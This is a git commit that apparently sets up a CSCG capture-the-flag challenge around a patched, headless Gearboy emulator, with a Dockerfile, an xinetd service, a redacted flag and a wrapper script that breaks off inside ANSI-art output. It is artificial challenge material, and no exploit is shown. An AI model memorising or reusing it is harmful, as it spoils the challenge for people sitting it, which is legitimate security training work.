commit 1d4298becbb12324db19c6f8eb5a63d0a54c9c36 parent e3357dff0937f0d7f5c3bbf75bc479f566fee3d0 Author: Louis Burda <quent.burda@gmail.com> Date: Fri, 27 May 2022 00:05:50 +0200 Rest of tools / state Diffstat:
M | .gitignore | | | 1 | + |
A | attach.sh | | | 3 | +++ |
A | chall/Dockerfile | | | 35 | +++++++++++++++++++++++++++++++++++ |
A | chall/flag | | | 2 | ++ |
A | chall/headless.patch | | | 148 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | chall/python_svc | | | 12 | ++++++++++++ |
A | chall/wrapper.py | | | 94 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | docs/notes | | | 29 | +++++++++++++++++++++++++++++ |
A | docs/scratchpad | | | 26 | ++++++++++++++++++++++++++ |
A | flag | | | 1 | + |
A | gbdk | | | 1 | + |
A | gearboy | | | 1 | + |
A | image/gearboy | | | 0 | |
A | image/libc-2.31.so | | | 0 | |
A | kill.sh | | | 3 | +++ |
M | main.c | | | 48 | +++++++++++++++++------------------------------- |
A | run.sh | | | 11 | +++++++++++ |
A | server/Dockerfile | | | 39 | +++++++++++++++++++++++++++++++++++++++ |
A | server/flag | | | 2 | ++ |
A | server/headless.patch | | | 148 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | server/python_svc | | | 12 | ++++++++++++ |
A | server/wrapper.py | | | 94 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
M | solve.py | | | 8 | ++++++++ |
23 files changed, 687 insertions(+), 31 deletions(-)
diff --git a/.gitignore b/.gitignore @@ -1,2 +1,3 @@ main.gb main.state +venv diff --git a/attach.sh b/attach.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +gdb -ex "target remote localhost:1234" -ex "run" diff --git a/chall/Dockerfile b/chall/Dockerfile @@ -0,0 +1,35 @@ +# docker build -t gearboy . && docker run --rm -it -p1024:1024 gearboy +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install --no-install-recommends -y xinetd libncurses5-dev libncurses5 python3 python3-pip gdbserver build-essential git libsdl2-dev libglew-dev && \ + apt-get clean + +RUN pip3 install --no-cache-dir cryptography==3.3 pwntools + +RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf && echo "ctf:ctf" | chpasswd + +WORKDIR /home/ctf + +RUN git clone https://github.com/drhelius/Gearboy.git gearboy && cd gearboy && git checkout 2cb66cdcb05f77147b9a5941e8ab92bceea828ae + +WORKDIR /home/ctf/gearboy/ +COPY headless.patch /home/ctf/gearboy/ + +RUN git apply --ignore-space-change --ignore-whitespace headless.patch + +WORKDIR /home/ctf/gearboy/platforms/linux +RUN make + +COPY flag / +COPY wrapper.py /home/ctf/wrapper.py + +COPY python_svc /etc/xinetd.d/ + +env TERM=linux TERMINFO=/etc/terminfo + +EXPOSE 1024 + +CMD ["xinetd", "-dontfork"] diff --git a/chall/flag b/chall/flag @@ -0,0 +1 @@ +CSCG{REDACTED} +\ No newline at end of file diff --git a/chall/headless.patch b/chall/headless.patch @@ -0,0 +1,148 @@ +diff --git a/platforms/audio-shared/Sound_Queue.cpp b/platforms/audio-shared/Sound_Queue.cpp +index 4dd4fb1..9a4402e 100644 +--- a/platforms/audio-shared/Sound_Queue.cpp ++++ b/platforms/audio-shared/Sound_Queue.cpp +@@ -144,9 +144,9 @@ void Sound_Queue::write( const sample_t* in, int count, bool sync ) + { + write_pos = 0; + write_buf = (write_buf + 1) % buf_count; +- +- if (sync_output) +- SDL_SemWait( free_sem ); ++ // We don't like deadlocks in SDL_SemWait, remove them ++ //if (sync_output) ++ // SDL_SemWait( free_sem ); + } + } + } +diff --git a/platforms/desktop-shared/application.cpp b/platforms/desktop-shared/application.cpp +index d39cf93..d75be4d 100644 +--- a/platforms/desktop-shared/application.cpp ++++ b/platforms/desktop-shared/application.cpp +@@ -44,17 +44,10 @@ static void run_emulator(void); + static void render(void); + static void frame_throttle(void); + +-int application_init(const char* arg) ++int application_init(const char* rom, const char* state) + { + Log ("<·> %s %s Desktop App <·>", GEARBOY_TITLE, GEARBOY_VERSION); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- Log ("Loading with argv: %s"); +- } +- +- int ret = sdl_init(); +- + application_fullscreen = false; + + config_init(); +@@ -67,42 +60,39 @@ int application_init(const char* arg) + emu_savefiles_dir_option = config_emulator.savefiles_dir_option; + emu_savestates_dir_option = config_emulator.savestates_dir_option; + +- gui_init(); ++ // We need no renderer and no SDL, remove those functions + +- ImGui_ImplSDL2_InitForOpenGL(sdl_window, gl_context); +- +- renderer_init(); + + SDL_GL_SetSwapInterval(config_video.sync ? 1 : 0); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- gui_load_rom(arg); +- } ++ ++ printf("Loading rom: %s\n", rom); ++ gui_load_rom(rom); ++ printf("Loading state: %s\n", state); ++ emu_load_state_file(state); + +- return ret; ++ return 0x00; + } + + void application_destroy(void) + { + config_write(); + config_destroy(); +- renderer_destroy(); +- gui_destroy(); ++ // We can't destroy objects we did not create. We remove them ++ //renderer_destroy(); ++ //gui_destroy(); + emu_destroy(); +- sdl_destroy(); ++ //sdl_destroy(); + } + + void application_mainloop(void) + { +- while (running) +- { ++ // Only 100 ticks for emulation. No crypto-mining on gearboy! ++ for (int i = 0; i < 100; i++) { + frame_time_start = SDL_GetPerformanceCounter(); + sdl_events(); + run_emulator(); +- render(); + frame_time_end = SDL_GetPerformanceCounter(); +- frame_throttle(); + } + } + +@@ -466,20 +456,7 @@ static void sdl_shortcuts_gui(const SDL_Event* event) + + static void run_emulator(void) + { +- if (!emu_is_empty()) +- { +- static int i = 0; +- i++; +- +- if (i > 20) +- { +- i = 0; +- +- char title[256]; +- sprintf(title, "%s %s - %s", GEARBOY_TITLE, GEARBOY_VERSION, emu_get_core()->GetCartridge()->GetFileName()); +- SDL_SetWindowTitle(sdl_window, title); +- } +- } ++ // We removed stuff like window titles here + config_emulator.paused = emu_is_paused(); + emu_audio_sync = config_audio.sync; + emu_update(); +diff --git a/platforms/desktop-shared/application.h b/platforms/desktop-shared/application.h +index 74a8c9e..ebbd3cb 100644 +--- a/platforms/desktop-shared/application.h ++++ b/platforms/desktop-shared/application.h +@@ -35,7 +35,7 @@ EXTERN SDL_version application_sdl_build_version; + EXTERN SDL_version application_sdl_link_version; + EXTERN bool application_fullscreen; + +-EXTERN int application_init(const char* arg); ++EXTERN int application_init(const char* rom, const char* state); + EXTERN void application_destroy(void); + EXTERN void application_mainloop(void); + EXTERN void application_trigger_quit(void); +diff --git a/platforms/desktop-shared/main.cpp b/platforms/desktop-shared/main.cpp +index 161eb9e..37e842e 100644 +--- a/platforms/desktop-shared/main.cpp ++++ b/platforms/desktop-shared/main.cpp +@@ -21,7 +21,11 @@ + + int main(int argc, char* argv[]) + { +- int ret = application_init((argc == 2) ? argv[1] : NULL); ++ if (argc < 3) { ++ printf("Usage: gearboy [rom] [state]\n"); ++ return -1; ++ } ++ int ret = application_init(argv[1], argv[2]); + + if (ret >= 0) + application_mainloop(); diff --git a/chall/python_svc b/chall/python_svc @@ -0,0 +1,12 @@ +service gearboy +{ +type = UNLISTED +protocol = tcp +socket_type = stream +port = 1024 +server = /usr/bin/env +server_args = python3 /home/ctf/wrapper.py +user = ctf +wait = no +env = HOME=/home/ctf/ +} diff --git a/chall/wrapper.py b/chall/wrapper.py @@ -0,0 +1,94 @@ +from pwn import * +import tempfile +import base64 +import os +import subprocess + +print("""[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mXS[0;34;40m%[0;1;30;40mXS[0;34;40m%[0;1;30;40m@[0;34;40m%[0;1;30;40m@[0;34;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40mXS[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;32;40m%[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;32;40m%[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40m;[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40m@S[0;34;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0m +[0;32;40mt[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40m%[0;31;40mS[0;1;30;40mX[0;32;40m%[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40m@[0;34;40m%[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40m@[0;34;40m%[0;1;30;40m@S[0;34;40m%[0;1;30;40mS[0;31;40m%[0;34;40mS[0;1;30;40m@[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mS[0;34;40m%[0;1;30;40mXS[0;34;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40m@[0;31;40mt[0;1;30;40m@[0;34;40m%[0;1;30;40m8[0;34;40m%[0;1;30;40m@[0;32;40mt[0;1;30;40m@SS[0;34;40m%[0;1;30;40mX[0;31;40m%[0;1;30;40m8[0;34;40m%[0;1;30;40m@X[0;34;40m%[0;1;30;40m@[0;34;40m%[0;1;30;40mXSS[0;31;40m%[0;1;30;40mX[0;32;40m%[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40mt[0m +[0;34;40m;[0;1;30;40mS[0;32;40mt[0;34;40m%[0;31;40mS[0;1;30;40mX[0;34;40mt[0;1;30;40mS[0;34;40mt[0;1;30;40mX[0;34;40m;[0;31;40mS[0;34;40m%[0;32;40mS[0;34;40m%[0;31;40mS[0;34;40mS[0;32;40mS[0;34;40mS[0;31;40mS[0;34;40m%[0;1;30;40m@[0;31;40m;[0;32;40m%[0;31;40mt[0;1;30;40mS[0;32;40m;[0;31;40m%[0;32;40m%[0;31;40m%[0;34;40mt[0;31;40m%[0;1;30;40mS[0;31;40m;[0;1;30;40m@[0;32;40mt[0;31;40mt[0;32;40mt[0;31;40m%[0;32;40m%[0;31;40m%[0;1;30;40mS[0;31;40mt[0;32;40m%[0;31;40m%[0;1;30;40mS[0;31;40m;[0;32;40m%[0;31;40m%[0;1;30;40mS[0;31;40m;[0;32;40mt[0;31;40m%[0;1;30;40mS[0;31;40mt[0;32;40m%[0;31;40m%[0;34;40mt[0;31;40m%[0;1;30;40mS[0;31;40mt[0;1;30;40mS[0;31;40mt[0;32;40m%[0;31;40m%[0;32;40mt[0;31;40m%[0;32;40m%[0;1;30;40mS[0;31;40m;[0;34;40m%[0;32;40mS[0;31;40m%[0;32;40m%[0;1;30;40mS[0;31;40mt[0;34;40m%[0;31;40mt[0;34;40mt[0;31;40m%[0;32;40mS[0;1;30;40mX[0;34;40mt[0;32;40m%[0;1;30;40mS[0;31;40m;[0;1;30;40mX[0;31;40mt[0;1;30;40mXS[0;31;40mt[0;34;40m%[0;1;30;40mX[0;32;40m%[0;34;40m%[0;31;40mX[0;1;30;40m@[0;32;40mt[0;34;40m%[0;31;40m%[0m +[0;1;30;44m8[0;5;34;40m8[0;1;30;44m@[0;5;35;40m8[0;1;30;44mX[0;5;34;40m88[0;1;30;44m8[0;5;34;40m888[0;1;30;44m8[0;5;34;40m8888@8X8@88888@8@@X8888@[0;1;30;44m8[0;5;34;40mX[0;1;30;44m8[0;5;34;40mX[0;1;30;44m8[0;5;34;40m88@888@[0;1;30;44m8[0;5;34;40m88@[0;1;30;44m8[0;5;34;40m88@8@8888@@888@88X@8[0;1;30;44m8[0;5;34;40m88@8@8@8X@[0;1;30;44m8[0;5;34;40m@8888@X[0;1;30;44m8[0;5;35;40m8[0;1;30;44m888[0;5;34;40m88[0;1;30;44m8[0m +[0;5;34;40m8[0;34;45m8[0;5;34;40mS[0;35;44m@[0;5;36;40mS[0;35;44m8[0;5;35;40m@[0;35;44m8[0;5;35;40mX[0;35;44m@[0;5;35;40mX[0;35;44m@[0;5;35;40mX[0;35;44m8[0;5;35;40m@[0;35;44m@[0;5;34;40m@[0;34;45m8[0;1;30;44m8[0;1;30;45m8[0;1;30;44m8[0;35;44m8[0;5;34;40m@[0;34;45m8[0;5;34;40m@[0;35;44m8[0;5;35;40m@[0;35;44m@[0;5;34;40m@[0;34;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m@[0;5;34;40m8[0;34;45m8[0;5;35;40m8[0;35;44m@[0;5;35;40m8[0;35;44m8[0;5;35;40m8[0;35;44m@[0;5;35;40m8[0;35;44m@[0;5;35;40m8[0;35;44m@[0;5;34;40m8[0;34;45m8[0;5;34;40m8[0;1;30;45m@[0;1;30;44m@[0;34;45m8[0;5;35;40m8[0;35;44m8[0;5;35;40m8[0;35;44m8[0;5;35;40m8[0;35;44m@[0;5;35;40m@[0;35;44m8[0;5;35;40m8[0;35;44m@[0;1;30;45m8[0;35;44mX[0;5;34;40m8[0;34;45m8[0;5;34;40m@[0;35;44m8[0;5;34;40m@[0;35;44m8[0;5;35;40m@[0;35;44mX[0;5;34;40m8[0;34;45m8[0;5;35;40m@[0;1;30;44m8[0;34;45m8[0;5;34;40mX[0;35;44m8[0;5;35;40mX[0;35;44m88[0;5;34;40m@[0;34;45m88[0;5;35;40mS[0;35;44m8[0;1;30;45m8[0;35;44m@[0;5;35;40m@[0;35;44m@[0;34;45m8[0;5;35;40m@[0;35;44m@[0;1;30;44m8[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m@[0;5;35;40mX[0;35;44m@[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;35;44m8[0;1;30;46m8[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m;[0;34;45m8[0;1;30;46m8[0;34;45m8[0;1;30;46m8[0;5;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40mX[0;34;45m8[0;5;36;40mS[0;5;34;44m8[0;5;35;40mS[0;36;44m@[0;34;45m8[0;1;30;46m8[0;35;44m8[0;5;36;40mX[0;1;34;44m8[0;5;35;40m%[0;1;34;44m@[0;5;35;40m;[0;35;44m8[0;5;36;40mt[0;1;34;44m8[0;5;35;40m@[0;35;44m8[0;1;30;46m8[0;35;44m8[0;5;36;40m@[0;35;44m8[0;5;36;40mX[0;1;34;44m8[0;5;35;40mS[0;1;34;44m8[0;5;36;40m%[0;1;34;44m@[0;5;35;40m%[0;1;34;44m@[0;5;35;40mt[0;1;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m%[0;34;45m8[0;5;36;40mX[0;1;34;44m@[0;5;35;40m%[0;35;44m@[0;1;30;46m8[0;35;44m@[0;1;30;44m88[0;34;45m8[0;1;30;46m8[0;1;34;44m@[0;5;35;40mt[0;5;34;44m8[0;5;36;40m;[0;1;30;44m8[0;36;44m8[0;35;44m8[0;1;30;46m8[0;35;44m@[0;5;36;40m8[0;1;34;44m@[0;5;35;40m%[0;1;34;44m@[0;5;36;40mX[0;35;44m8[0;5;36;40m@[0;1;34;44m8[0;5;35;40mS[0;1;34;44m8[0;5;36;40m%[0;1;34;44m8[0;5;35;40mt[0m +[0;5;34;40m8[0;34;45m88[0;1;30;46m8[0;1;34;45m8[0;1;30;45m8[0;5;35;40mS[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;35;44m8[0;5;35;40m:[0;1;30;45m8[0;5;36;40mS[0;5;35;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m;[0;5;35;44m@[0;5;35;40mS[0;1;34;45m8[0;5;35;40m%[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;1;34;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40mt[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;1;30;45m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;1;34;45m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40mXX[0;5;37;40m8%S[0;5;33;40m :[0;1;30;43m8[0;5;33;40m [0;37;43m8[0;5;33;40m [0;5;37;40m8[0;1;30;43m8[0;1;30;47m88[0;5;37;40m%[0;1;30;47m88[0;1;30;43m8[0;1;30;47m88[0;33;47m8@@888888888@[0;37;43m8@[0;33;47m8[0;37;43m@[0;33;47m88[0;37;43m8[0;33;47m88[0;37;43m@[0;33;47m8[0;1;33;47m8[0;5;35;40mt[0m +[0;5;34;40m8[0;5;35;40m%[0;5;34;44m@[0;5;35;40m%[0;1;30;44m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m%[0;5;35;44m8[0;5;36;40m;[0;5;34;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;1;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m.[0;34;45m8[0;1;34;46m8[0;1;30;45m8[0;5;36;40mt[0;5;35;44m8[0;5;36;40m.[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;1;34;44m8[0;5;35;40m.[0;1;34;45m8[0;5;36;40mX[0;34;45m8[0;5;36;40m;[0;1;34;45m8[0;5;35;40mt[0;34;45m8[0;5;35;40m:[0;1;34;44m8[0;1;30;43m8[0;5;37;43m@[0;5;33;43m [0;5;33;41mt[0;1;33;47m@8[0;1;33;43m:[0;5;37;43m8[0;1;33;43m.[0;5;37;43m@[0;33;47m8[0;5;33;43m:[0;1;31;43m8[0;37;43mX[0;5;33;43m [0;5;37;43m@X[0;1;31;43m8[0;37;43m@X[0;1;31;43m8[0;5;37;43m8[0;1;31;43m8[0;37;43mX[0;5;33;43m.[0;5;33;41mt[0;5;37;43m@[0;1;31;43m8[0;5;37;43m8[0;1;31;43m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m@[0;5;1;31;43m@[0;5;37;43m@[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m8[0;1;30;43m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40m:[0;5;35;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m%[0;35;44m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;1;34;46m8[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m8[0;5;36;40m;[0;1;34;45m8[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m.[0;1;34;45m8[0;5;36;40m;[0;34;45m8[0;5;34;44m@[0;5;35;40mt[0;1;30;44m8[0;1;30;45m8[0;5;36;40m%[0;5;34;44mX[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;5;34;44m@[0;5;36;40m:[0;5;34;44m8[0;5;35;40mS[0;5;33;40mX[0;5;37;43m8[0;5;37;41m8[0;1;33;47mX[0;5;31;40m8[0;31;40m8[0;30;41m8[0;5;35;40m:[0;1;30;41m8[0;5;31;40m8[0;33;41m8[0;30;41m@[0;5;30;40mS[0;5;33;40m:[0;1;30;41m8[0;1;33;47m8[0;5;1;31;43m8[0;1;30;43m8[0;5;31;40m88[0;5;33;40m8[0;5;31;40m8[0;5;33;40m:8[0;1;30;41m8[0;5;35;40m8[0;5;33;40m8[0;1;30;43m8[0;5;31;40m8[0;33;47m8[0;1;30;43m88[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;1;31;47m8[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;34;45m@[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;36;40m%[0;1;34;44m8[0;5;35;40mt[0;5;35;44m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40mt[0;34;45m8[0;5;36;44m8[0;1;30;45m8[0;5;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;35;44m8[0;1;30;46m8[0;5;35;44m8[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;5;34;44mS[0;1;30;45m8[0;5;35;40mS[0;5;34;44mX[0;5;35;40m.[0;1;30;45m8[0;1;34;44m8[0;5;35;40m.[0;1;34;45m8[0;5;35;40m:[0;35;44m8[0;5;36;40m.[0;1;34;45m8[0;5;35;40m.[0;35;44m8[0;1;30;43m8[0;5;37;43m@S[0;5;33;43m [0;37;43m@[0;5;37;43m8[0;1;33;47m8[0;5;33;43m:[0;33;47m8[0;5;37;43m8[0;1;33;47m888[0;5;37;43m@[0;5;33;43m [0;5;37;41m8[0;5;37;43m88[0;1;33;47m88[0;37;43m@[0;1;33;47m8[0;5;37;43m8[0;5;33;43m.[0;33;47m8[0;5;37;43mS[0;1;33;47m8[0;5;37;43mX@[0;1;33;47m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47mS[0;5;37;43m8[0;5;1;33;41m@[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m888[0;1;31;43m8[0m +[0;5;34;40m8[0;34;45m8[0;5;35;44m8[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;35;44m8[0;1;30;46m8[0;5;35;44m8[0;5;35;40m;[0;1;30;45m8[0;1;34;44m8[0;5;35;40m;%[0;1;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40mt[0;5;34;44m@[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;5;35;40m.[0;5;34;44mX[0;5;35;40m;[0;35;44m8[0;5;36;40mS[0;5;35;40mt[0;5;1;31;43m@[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8@[0;5;1;33;41m8[0;1;33;47m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m@[0;5;1;33;41m8[0;1;33;47m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43mX[0;5;33;41m [0;1;33;47m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;1;33;47m8[0;5;33;41m.[0;33;47m8[0;5;33;41m:[0;1;31;43m8[0;1;31;47m8[0;33;47m8[0;5;1;31;43m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;35;47m8[0m +[0;5;34;40m8[0;5;35;40m%[0;36;44m8[0;1;34;45m8[0;5;36;40m%[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;1;34;45m8[0;5;36;40m%[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44mX[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40mt[0;5;34;44mX[0;5;35;40m.[0;1;30;45m88[0;1;30;46m8[0;5;35;44m@[0;5;36;40m%[0;34;45m8[0;5;36;44m8[0;5;35;40m%[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;35;44m8[0;5;36;40m [0;5;35;44m8[0;5;36;40mt[0;35;44m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m8[0;5;1;31;43m8[0;1;33;47m8[0;5;1;31;43m8[0;1;33;47m8[0;5;37;43m88[0;5;1;33;41m8[0;33;47mX[0;5;33;41m8[0;1;30;47m8[0;5;33;40m%[0;5;30;40m8[0;5;31;40m@[0;5;37;43m@[0;1;31;47m8[0;1;31;43m8[0;5;33;41mS[0;37;43m8[0;1;31;43m8[0;1;33;47mS[0;5;37;43m@88X[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;33;41mS[0m +[0;5;34;40m8[0;34;45m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;36;40m%[0;5;35;44m8[0;5;35;40m%[0;35;44m8[0;5;35;40mt[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;36;40mt[0;5;34;44mX[0;1;30;45m8[0;35;44m8[0;5;36;40m%[0;1;34;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m;[0;5;35;44m@[0;5;36;40m:[0;5;35;40mS[0;5;34;44m8[0;5;35;40m;[0;1;34;44m8[0;5;35;40m%[0;5;33;40m;[0;5;37;43m88[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m8@[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m888[0;5;37;41m8[0;1;31;43m8[0;33;47m8[0;5;31;40m88[0;5;33;40mX[0;30;41m@[0;5;33;40mtS[0;31;40mt[0;1;30;43m@[0;5;37;43mX8[0;33;47mX[0;37;43mX[0;5;37;43m8[0;1;30;45m8[0;5;33;40m@[0;1;30;47m8[0;5;31;41m8[0;1;33;47m8[0;5;37;43mX88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m888[0;1;30;47m8[0m 